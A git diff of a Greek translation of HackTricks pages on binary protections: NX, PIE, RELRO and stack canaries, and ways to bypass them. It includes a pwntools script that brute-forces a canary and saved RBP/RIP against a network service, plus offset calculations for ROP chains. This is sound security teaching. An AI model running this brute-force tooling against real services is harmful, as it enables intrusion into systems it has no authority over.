Το **No-Execute (NX)** bit, γνωστό και ως **Execute Disable (XD)** στην ορολογία της Intel, είναι μια χαρακτηριστική ασφάλειας βασισμένη σε υλικό που έχει σχεδιαστεί για να **μειώνει** τις επιπτώσεις των επιθέσεων **buffer overflow**. Όταν εφαρμοστεί και ενεργοποιηθεί, διακρίνει μεταξύ περιοχών μνήμης που προορίζονται για **εκτελέσιμο κώδικα** και εκείνων που προορίζονται για **δεδομένα**, όπως η **στοίβα** και η **σωρός**. Η βασική ιδέα είναι να αποτραπεί η εκτέλεση κακόβουλου κώδικα από έναν επιτιθέμενο μέσω ευπαθειών buffer overflow, τοποθετώντας τον κακόβουλο κώδικα στη στοίβα, για παράδειγμα, και κατευθύνοντας τη ροή εκτέλεσης σε αυτόν.
|
||||
|
||||
## Bypasses
|
||||
|
||||
- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
- **Ret2...**
|
||||
- Είναι δυνατόν να χρησιμοποιηθούν τεχνικές όπως [**ROP**](../rop-return-oriented-programing/) **για να παρακαμφθεί** αυτή η προστασία εκτελώντας κομμάτια εκτελέσιμου κώδικα που είναι ήδη παρόντα στο δυαδικό.
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
- **Ret2...**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,26 +4,26 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
|
||||
Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές διευθύνσεις μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις.
|
||||
|
||||
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
|
||||
Το κόλπο για να εκμεταλλευτείτε αυτά τα δυαδικά αρχεία έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με τις **σταθερές αποστάσεις** τους.
|
||||
|
||||
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
|
||||
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
|
||||
Μια χρήσιμη ένδειξη στην εκμετάλλευση δυαδικών αρχείων PIE είναι ότι η **βάση τους συνήθως τελειώνει σε 000** λόγω των σελίδων μνήμης που είναι οι μονάδες τυχαίας κατανομής, με μέγεθος 0x1000 bytes. Αυτή η ευθυγράμμιση μπορεί να είναι μια κρίσιμη **έλεγχος αν μια εκμετάλλευση δεν λειτουργεί** όπως αναμένεται, υποδεικνύοντας αν έχει προσδιοριστεί η σωστή βάση διεύθυνσης.\
|
||||
Ή μπορείτε να το χρησιμοποιήσετε για την εκμετάλλευσή σας, αν διαρρεύσετε ότι μια διεύθυνση βρίσκεται στη **`0x649e1024`** γνωρίζετε ότι η **βάση είναι `0x649e1000`** και από εκεί μπορείτε απλά να **υπολογίσετε τις αποστάσεις** των συναρτήσεων και των τοποθεσιών.
|
||||
|
||||
## Bypasses
|
||||
|
||||
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
|
||||
Για να παρακάμψετε το PIE χρειάζεται να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού αρχείου, υπάρχουν μερικές επιλογές για αυτό:
|
||||
|
||||
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
|
||||
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
|
||||
- **Απενεργοποιημένο ASLR**: Αν το ASLR είναι απενεργοποιημένο, ένα δυαδικό αρχείο που έχει μεταγλωττιστεί με PIE θα **φορτωθεί πάντα στην ίδια διεύθυνση**, επομένως το **PIE θα είναι άχρηστο** καθώς οι διευθύνσεις των αντικειμένων θα είναι πάντα στο ίδιο μέρος.
|
||||
- Να **δοθεί** η διαρροή (συνηθισμένο σε εύκολες προκλήσεις CTF, [**ελέγξτε αυτό το παράδειγμα**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- **Brute-force EBP και EIP τιμές** στη στοίβα μέχρι να διαρρεύσετε τις σωστές:
|
||||
|
||||
{{#ref}}
|
||||
bypassing-canary-and-pie.md
|
||||
{{#endref}}
|
||||
|
||||
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
- Χρησιμοποιήστε μια **τυχαία ανάγνωση** ευπάθεια όπως [**μορφοποίηση συμβολοσειράς**](../../format-strings/) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -1,56 +1,55 @@
|
||||
# BF Addresses in the Stack
|
||||
# BF Διευθύνσεις στη Στοίβα
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
|
||||
**Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.**
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
|
||||
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
|
||||
> Σημειώστε ότι **`checksec`** μπορεί να μην βρει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει στατικά μεταγλωττιστεί και δεν είναι ικανό να εντοπίσει τη λειτουργία.\
|
||||
> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο.
|
||||
|
||||
## Brute-Force Addresses
|
||||
## Brute-Force Διευθύνσεις
|
||||
|
||||
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
|
||||
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
|
||||
Για να **παρακάμψετε το PIE** χρειάζεστε να **διαρρεύσετε κάποια διεύθυνση**. Και αν το δυαδικό αρχείο δεν διαρρέει καμία διεύθυνση, το καλύτερο που μπορείτε να κάνετε είναι να **brute-force το RBP και το RIP που αποθηκεύονται στη στοίβα** στη ευάλωτη λειτουργία.\
|
||||
Για παράδειγμα, αν ένα δυαδικό αρχείο προστατεύεται χρησιμοποιώντας τόσο ένα **canary** όσο και **PIE**, μπορείτε να ξεκινήσετε brute-forcing το canary, στη συνέχεια τα **επόμενα** 8 Bytes (x64) θα είναι το αποθηκευμένο **RBP** και τα **επόμενα** 8 Bytes θα είναι το αποθηκευμένο **RIP.**
|
||||
|
||||
> [!TIP]
|
||||
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
|
||||
|
||||
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
|
||||
> Υποτίθεται ότι η διεύθυνση επιστροφής μέσα στη στοίβα ανήκει στον κύριο κώδικα του δυαδικού αρχείου, ο οποίος, αν η ευπάθεια βρίσκεται στον κώδικα του δυαδικού αρχείου, θα είναι συνήθως η περίπτωση.
|
||||
|
||||
Για να brute-force το RBP και το RIP από το δυαδικό αρχείο μπορείτε να καταλάβετε ότι ένα έγκυρο μαντεμένο byte είναι σωστό αν το πρόγραμμα εκτυπώνει κάτι ή απλά δεν καταρρέει. Η **ίδια λειτουργία** που παρέχεται για brute-forcing το canary μπορεί να χρησιμοποιηθεί για brute-force το RBP και το RIP:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
# CANARY BF HERE
|
||||
canary_offset = 1176
|
||||
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
|
||||
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||||
```
|
||||
Το τελευταίο πράγμα που χρειάζεστε για να νικήσετε το PIE είναι να υπολογίσετε **χρήσιμες διευθύνσεις από τις διαρροές** διευθύνσεων: το **RBP** και το **RIP**.
|
||||
|
||||
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
|
||||
|
||||
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
|
||||
|
||||
Από το **RBP** μπορείτε να υπολογίσετε **πού γράφετε το shell σας στη στοίβα**. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε τη συμβολοσειρά _"/bin/sh\x00"_ μέσα στη στοίβα. Για να υπολογίσετε την απόσταση μεταξύ του διαρρεύσαντος RBP και του shellcode σας, μπορείτε απλά να βάλετε ένα **breakpoint μετά τη διαρροή του RBP** και να ελέγξετε **πού βρίσκεται το shellcode σας**, στη συνέχεια, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP:
|
||||
```python
|
||||
INI_SHELLCODE = RBP - 1152
|
||||
```
|
||||
|
||||
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
|
||||
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
|
||||
Από το **RIP** μπορείτε να υπολογίσετε τη **βάση διεύθυνση του εκτελέσιμου αρχείου PIE** που θα χρειαστείτε για να δημιουργήσετε μια **έγκυρη αλυσίδα ROP**.\
|
||||
Για να υπολογίσετε τη βάση διεύθυνση απλά εκτελέστε `objdump -d vunbinary` και ελέγξτε τις τελευταίες διευθύνσεις αποσυναρμολόγησης:
|
||||
|
||||
.png>)
|
||||
|
||||
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
|
||||
|
||||
Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζονται μόνο **1 Byte και μισό** για να εντοπίσετε όλο τον κώδικα, τότε, η βάση διεύθυνση σε αυτή την περίπτωση θα είναι το **leaked RIP αλλά τελειώνοντας σε "000"**. Για παράδειγμα, αν διαρρεύσατε `0x562002970ecf`, η βάση διεύθυνση είναι `0x562002970000`
|
||||
```python
|
||||
elf.address = RIP - (RIP & 0xfff)
|
||||
```
|
||||
## Βελτιώσεις
|
||||
|
||||
## Improvements
|
||||
Σύμφωνα με [**ορισμένες παρατηρήσεις από αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), είναι πιθανό ότι όταν διαρρέουν οι τιμές RBP και RIP, ο διακομιστής δεν θα καταρρεύσει με ορισμένες τιμές που δεν είναι οι σωστές και το σενάριο BF θα νομίζει ότι έχει πάρει τις σωστές. Αυτό συμβαίνει επειδή είναι πιθανό ότι **ορισμένες διευθύνσεις απλώς δεν θα το σπάσουν ακόμη και αν δεν είναι ακριβώς οι σωστές**.
|
||||
|
||||
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
|
||||
|
||||
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
|
||||
Σύμφωνα με αυτή την ανάρτηση στο blog, συνιστάται να προστίθεται μια σύντομη καθυστέρηση μεταξύ των αιτημάτων προς τον διακομιστή.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,32 +4,30 @@
|
||||
|
||||
## Relro
|
||||
|
||||
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
|
||||
**RELRO** σημαίνει **Relocation Read-Only**, και είναι μια λειτουργία ασφαλείας που χρησιμοποιείται σε δυαδικά αρχεία για να μετριάσει τους κινδύνους που σχετίζονται με τις **GOT (Global Offset Table)** υπεργραφές. Υπάρχουν δύο τύποι προστασιών **RELRO**: (1) **Partial RELRO** και (2) **Full RELRO**. Και οι δύο αναδιοργανώνουν την **GOT** και **BSS** από τα αρχεία ELF, αλλά με διαφορετικά αποτελέσματα και επιπτώσεις. Συγκεκριμένα, τοποθετούν την ενότητα **GOT** _πριν_ από την **BSS**. Δηλαδή, η **GOT** βρίσκεται σε χαμηλότερες διευθύνσεις από την **BSS**, καθιστώντας έτσι αδύνατη την υπεργραφή των εγγραφών **GOT** μέσω υπερχείλισης μεταβλητών στην **BSS** (θυμηθείτε ότι η εγγραφή στη μνήμη συμβαίνει από χαμηλότερες προς υψηλότερες διευθύνσεις).
|
||||
|
||||
Let's break down the concept into its two distinct types for clarity.
|
||||
Ας αναλύσουμε την έννοια σε δύο διακριτούς τύπους για σαφήνεια.
|
||||
|
||||
### **Partial RELRO**
|
||||
|
||||
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
|
||||
**Partial RELRO** ακολουθεί μια απλούστερη προσέγγιση για να ενισχύσει την ασφάλεια χωρίς να επηρεάζει σημαντικά την απόδοση του δυαδικού αρχείου. Το Partial RELRO καθιστά **το .got μόνο για ανάγνωση (το μη-PLT μέρος της ενότητας GOT)**. Να έχετε υπόψη ότι το υπόλοιπο της ενότητας (όπως το .got.plt) είναι ακόμα εγγράψιμο και, επομένως, υπόκειται σε επιθέσεις. Αυτό **δεν αποτρέπει την κακή χρήση της GOT** από **τυχαίες ευπάθειες εγγραφής**.
|
||||
|
||||
Note: By default, GCC compiles binaries with Partial RELRO.
|
||||
Σημείωση: Από προεπιλογή, ο GCC συντάσσει δυαδικά αρχεία με Partial RELRO.
|
||||
|
||||
### **Full RELRO**
|
||||
|
||||
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
|
||||
**Full RELRO** ενισχύει την προστασία κάνοντάς την **ολόκληρη την GOT (τόσο .got όσο και .got.plt) και την ενότητα .fini_array** εντελώς **μόνο για ανάγνωση.** Μόλις ξεκινήσει το δυαδικό αρχείο, όλες οι διευθύνσεις συναρτήσεων επιλύονται και φορτώνονται στην GOT, στη συνέχεια, η GOT σημειώνεται ως μόνο για ανάγνωση, αποτρέποντας αποτελεσματικά οποιεσδήποτε τροποποιήσεις σε αυτήν κατά τη διάρκεια της εκτέλεσης.
|
||||
|
||||
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
|
||||
|
||||
It's possible to see if Full RELRO is **enabled** in a binary with:
|
||||
Ωστόσο, το trade-off με το Full RELRO είναι σε όρους απόδοσης και χρόνου εκκίνησης. Επειδή χρειάζεται να επιλύσει όλα τα δυναμικά σύμβολα κατά την εκκίνηση πριν σημειώσει την GOT ως μόνο για ανάγνωση, **τα δυαδικά αρχεία με ενεργοποιημένο το Full RELRO μπορεί να έχουν μεγαλύτερους χρόνους φόρτωσης**. Αυτή η επιπλέον επιβάρυνση εκκίνησης είναι ο λόγος που το Full RELRO δεν είναι ενεργοποιημένο από προεπιλογή σε όλα τα δυαδικά αρχεία.
|
||||
|
||||
Είναι δυνατόν να δείτε αν το Full RELRO είναι **ενεργοποιημένο** σε ένα δυαδικό αρχείο με:
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
|
||||
## Bypass
|
||||
|
||||
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
|
||||
Αν είναι ενεργοποιημένο το Full RELRO, ο μόνος τρόπος να το παρακάμψετε είναι να βρείτε έναν άλλο τρόπο που δεν χρειάζεται να γράψετε στον πίνακα GOT για να αποκτήσετε αυθαίρετη εκτέλεση.
|
||||
|
||||
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
|
||||
Σημειώστε ότι **ο πίνακας GOT της LIBC είναι συνήθως Partial RELRO**, οπότε μπορεί να τροποποιηθεί με μια αυθαίρετη εγγραφή. Περισσότερες πληροφορίες στο [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,72 +2,72 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **StackGuard and StackShield**
|
||||
## **StackGuard και StackShield**
|
||||
|
||||
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
|
||||
**StackGuard** εισάγει μια ειδική τιμή γνωστή ως **canary** πριν από το **EIP (Extended Instruction Pointer)**, συγκεκριμένα `0x000aff0d` (που αντιπροσωπεύει null, newline, EOF, carriage return) για να προστατεύσει από buffer overflows. Ωστόσο, συναρτήσεις όπως `recv()`, `memcpy()`, `read()`, και `bcopy()` παραμένουν ευάλωτες, και δεν προστατεύει το **EBP (Base Pointer)**.
|
||||
|
||||
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
|
||||
**StackShield** ακολουθεί μια πιο εξελιγμένη προσέγγιση από το StackGuard διατηρώντας μια **Global Return Stack**, η οποία αποθηκεύει όλες τις διευθύνσεις επιστροφής (**EIPs**). Αυτή η ρύθμιση διασφαλίζει ότι οποιαδήποτε υπερχείλιση δεν προκαλεί ζημιά, καθώς επιτρέπει τη σύγκριση μεταξύ των αποθηκευμένων και των πραγματικών διευθύνσεων επιστροφής για την ανίχνευση περιστατικών υπερχείλισης. Επιπλέον, το StackShield μπορεί να ελέγξει τη διεύθυνση επιστροφής σε σχέση με μια τιμή ορίου για να ανιχνεύσει αν το **EIP** δείχνει εκτός του αναμενόμενου χώρου δεδομένων. Ωστόσο, αυτή η προστασία μπορεί να παρακαμφθεί μέσω τεχνικών όπως Return-to-libc, ROP (Return-Oriented Programming), ή ret2ret, υποδεικνύοντας ότι το StackShield δεν προστατεύει επίσης τις τοπικές μεταβλητές.
|
||||
|
||||
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
|
||||
|
||||
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
|
||||
Αυτή η μηχανισμός τοποθετεί ένα **canary** πριν από το **EBP**, και αναδιοργανώνει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την επικάλυψη άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα επιχειρήματα που περνούν στο stack πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτά τα αντίγραφα ως επιχειρήματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερα από 8 στοιχεία ή buffers εντός της δομής ενός χρήστη.
|
||||
|
||||
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
|
||||
Το **canary** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή `0xff0a0000`. Αποθηκεύεται στο **TLS (Thread Local Storage)**, επιτρέποντας στους κοινόχρηστους χώρους μνήμης μεταξύ νημάτων να έχουν παγκόσμιες ή στατικές μεταβλητές συγκεκριμένες για το νήμα. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη γονική διαδικασία, και οι παιδικές διαδικασίες μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάσουν τη γονική ή τις αδελφές διαδικασίες. Παρ' όλα αυτά, αν χρησιμοποιηθεί **`fork()` χωρίς να δημιουργηθεί ένα νέο canary, όλες οι διαδικασίες (γονικές και παιδικές) μοιράζονται το ίδιο canary**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το canary αποθηκεύεται στο `gs:0x14`, και στην **x86_64**, στο `fs:0x28`.
|
||||
|
||||
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
|
||||
Αυτή η τοπική προστασία εντοπίζει συναρτήσεις με buffers ευάλωτα σε επιθέσεις και εισάγει κώδικα στην αρχή αυτών των συναρτήσεων για να τοποθετήσει το canary, και στο τέλος για να επαληθεύσει την ακεραιότητά του.
|
||||
|
||||
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
|
||||
Όταν ένας web server χρησιμοποιεί `fork()`, επιτρέπει μια επίθεση brute-force για να μαντέψει το canary byte by byte. Ωστόσο, η χρήση του `execve()` μετά το `fork()` επαναγράφει τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στην παιδική διαδικασία να εκτελείται χωρίς αναπαραγωγή μέχρι να προσπαθήσει να γράψει, οπότε δημιουργείται μια αναπαραγωγή, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διαδικασιών και τη διαχείριση μνήμης.
|
||||
|
||||
### Lengths
|
||||
### Μήκη
|
||||
|
||||
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
|
||||
Στα `x64` binaries, το canary cookie είναι ένα **`0x8`** byte qword. Τα **πρώτα επτά bytes είναι τυχαία** και το τελευταίο byte είναι ένα **null byte.**
|
||||
|
||||
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
|
||||
Στα `x86` binaries, το canary cookie είναι ένα **`0x4`** byte dword. Τα **πρώτα τρία bytes είναι τυχαία** και το τελευταίο byte είναι ένα **null byte.**
|
||||
|
||||
> [!CAUTION]
|
||||
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
|
||||
> Το λιγότερο σημαντικό byte και των δύο canaries είναι ένα null byte επειδή θα είναι το πρώτο στο stack που προέρχεται από χαμηλότερες διευθύνσεις και επομένως **οι συναρτήσεις που διαβάζουν συμβολοσειρές θα σταματήσουν πριν το διαβάσουν**.
|
||||
|
||||
## Bypasses
|
||||
## Παράκαμψη
|
||||
|
||||
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
|
||||
**Διαρροή του canary** και στη συνέχεια επικάλυψη του (π.χ. buffer overflow) με την δική του τιμή.
|
||||
|
||||
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
|
||||
- Αν το **canary είναι forked σε παιδικές διαδικασίες** μπορεί να είναι δυνατό να **brute-force** αυτό byte by byte:
|
||||
|
||||
{{#ref}}
|
||||
bf-forked-stack-canaries.md
|
||||
{{#endref}}
|
||||
|
||||
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
|
||||
- Αν υπάρχει κάποια ενδιαφέρουσα **διαρροή ή ευπάθεια αυθαίρετης ανάγνωσης** στο binary μπορεί να είναι δυνατό να διαρρεύσει:
|
||||
|
||||
{{#ref}}
|
||||
print-stack-canary.md
|
||||
{{#endref}}
|
||||
|
||||
- **Overwriting stack stored pointers**
|
||||
- **Επικάλυψη των αποθηκευμένων pointers στο stack**
|
||||
|
||||
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
|
||||
Το stack που είναι ευάλωτο σε υπερχείλιση stack μπορεί να **περιέχει διευθύνσεις σε συμβολοσειρές ή συναρτήσεις που μπορούν να επαναγραφούν** προκειμένου να εκμεταλλευτούν την ευπάθεια χωρίς να χρειαστεί να φτάσουν στο canary του stack. Ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../../stack-overflow/pointer-redirecting.md
|
||||
{{#endref}}
|
||||
|
||||
- **Modifying both master and thread canary**
|
||||
- **Τροποποίηση και των δύο canary master και thread**
|
||||
|
||||
